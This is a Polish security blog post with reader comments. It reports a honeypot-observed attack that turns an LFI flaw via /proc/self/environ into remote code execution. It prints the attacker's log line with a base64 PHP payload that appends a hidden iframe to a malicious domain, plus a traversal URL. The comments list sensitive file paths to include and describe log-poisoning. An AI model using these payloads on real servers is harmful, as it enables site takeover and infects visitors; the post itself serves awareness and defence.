Wykorzystanie błędów na serwerze www zależy tylko od inwencji atakującego. Specjaliści Tustwave SpiderLabs odkryli atak, w którym błąd typu LFI wykorzystywany jest do zdalnego wykonania kodu, a prawdopodobnym autorem ataku jest Polak.
Błąd typu Local File Inclusion polega na ujawnieniu zawartości lokalnego pliku w atakowanym systemie poprzez manipulację parametrami przekazywanymi skryptowi na serwerze. W najprostszym wydaniu może mieć postać na przykład
http://serwer.xx/pokaz.php?strona=../../../../../../etc/passwd
Próby wykorzystania tego błędu są dość powszechne, jednak rzadko można natrafić na taką, która doprowadzi do modyfikacji zawartości pliku na serwerze. Taki przypadek opisuje właśnie blog SpiderLabs. Spójrzmy na to zapytanie:
GET /?option=com_svmap&controller=../../../../../../../../../../../../..//proc/self/environ%0000
O co chodzi atakującemu? Otóż plik /proc/self/environ zawiera informacje o aktualnie działających procesach – w tym wypadku wątku serwera www. Jeśli serwer jest podatny na błąd LFI, w odpowiedzi atakujący zobaczy plik jak poniżej.
Odpowiedź serwera
Jak możecie zauważyć, w odpowiedzi znajdują się nagłówki żądania HTTP wysłanego przez atakującego, w tym również zmienna HTTP_USER_AGENT. Co się zatem stanie, jeśli atakujący wstawi do tej zmiennej kod php? Bingo! Kod zostanie wykonany na serwerze. Takie XSS, tylko zamiast w przeglądarce, to po drugiej stronie połączenia. Spójrzmy teraz na przykład przytoczony przez SpiderLabs. Zauważacie znajome słowo?
202.131.112.69 - - [12/Dec/2012:06:38:19 +0200] "GET //index.php?option=com_svmap&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 404 292 "-" "<?php echo(\"KURWA\"); file_put_contents(\"./index.php\", base64_decode(\"Pz48aWZyYW1lIHNyYz0iaHR0cDovL3p1by5wb2Rnb3J6Lm9yZy96dW8vZWxlbi9pbmRleC5waHAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZyYW1lYm9yZGVyPSIwIj48L2lmcmFtZT48P3BocA==\"), FILE_APPEND); ?>"
Jaka jest funkcjonalnoćść tego kodu? Po pierwsze, gromkim „KURWA” informuje autora, że atak przebiega prawidłowo. Po drugie, na końcu pliku index.php dopisują taką oto linijkę
?><iframe src="https://zuo.podgorz.org/zuo/elen/index.php" width="0" height="0" frameborder="0"></iframe><?php
Prawdopodobnie wstrzykiwana ramka prowadzi do strony serwującej BlackHole lub innego exploit packa. Sama domena zuo.podgorz.org od jakiegoś czasu już przewija się przy różnych okazjach, głównie jako miejsce, gdzie zidentyfikowano serwer C&C Zeusa. Znaleźć tam tez można było serwer IRC, służący jako miejsce koordynacji ataków DDoS, skrypty sprawdzające hasła różnych skrzynek pocztowych a także prawdopodobnie słynną listę 10 tysięcy haseł polskich internautów. Udało nam się także namierzyć skrypt, prawdopodobnie odpowiedzialny za skanowanie serwerów pod kątem opisanego powyżej błędu. Co ciekawe, pochodzi on z roku 2010…
Komentarze
Nie jest to żaden dziwny atak… Dawno opisane i wykorzystywane (częściej do uploadu shella, niż dopisanie czegoś do index)
przykład: http://kaoticcreations.blogspot.com/2011/12/exploiting-lfi-vulnerabilities-via.html
Bardzo dobra lista z super perelkami :)
http://www.blackhatlibrary.net/File_Inclusion
Moje ulubione:
/var/mail/www-data
/var/mail/www
/var/mail/apache
/var/mail/nobody
/var/www/.bash_history
Dzięki, przydatne :>
Czyli wszystkiemu winien chmod na /proc/self/environ ?
Jako uzupełnienie artykułu proponuję:
http://www.exploit-db.com/wp-content/themes/exploit/docs/17799.pdf
;)
No ten atak z pewnością nie jest nowością, chociaż bardzo fajnie, że o nim tutaj napisałeś. Natknąłem się na niego gdzieś na początku 2011, a już wtedy nie był nowością.
Na szczęście dostęp przez kontener/serwer webaplikacji do /proc/self/environ nie jest już domyślnie możliwy (np. w default apache debian/ubuntu).
Jest też inna odmiana ataku, działająca w podobny sposób. Includowanie /var/www/logs/access.log, po wcześniejszych odwołaniu się do serwera:
telnet http://serwer.com 80
GET /index
Od Local File Inclusion do zdalnego wykonania kodu można dojść w jeszcze kilka innych sposobów (chociażby przez wrappery php://), ale w zasadzie można się od tego odciąć przeprowadzając podstawowy hardening samego php.ini.
Ale pomimo tego, że nowością te ataki nie są – to znalezione zostały przez obserwację honeynetów. I to jest cudowne.
trochę wcięło mi tekstu w komentarzach (co to za blacklista? ;) )
Miało być:
GET /index HTTP/1.0
Grrrr, mniejsza z tym :P
Chodzi o to, aby po index wpisać wstawkę php, która zostanie zawarta w logu, a po zaincludowaniu wykonana.
vizdoom opisz to u siebie na blogu :)
Nie ma dedykowanej blacklisty dla komentarzy, pewnie WordPress czegoś nie puszcza…
Również o tym czytałem z 2 lata temu i sam testowałem. Jednak na większości serwerów ten atak nie jest możliwy.
Jak okres kary sie przeterminuje to powiem wam kto to zrobil :D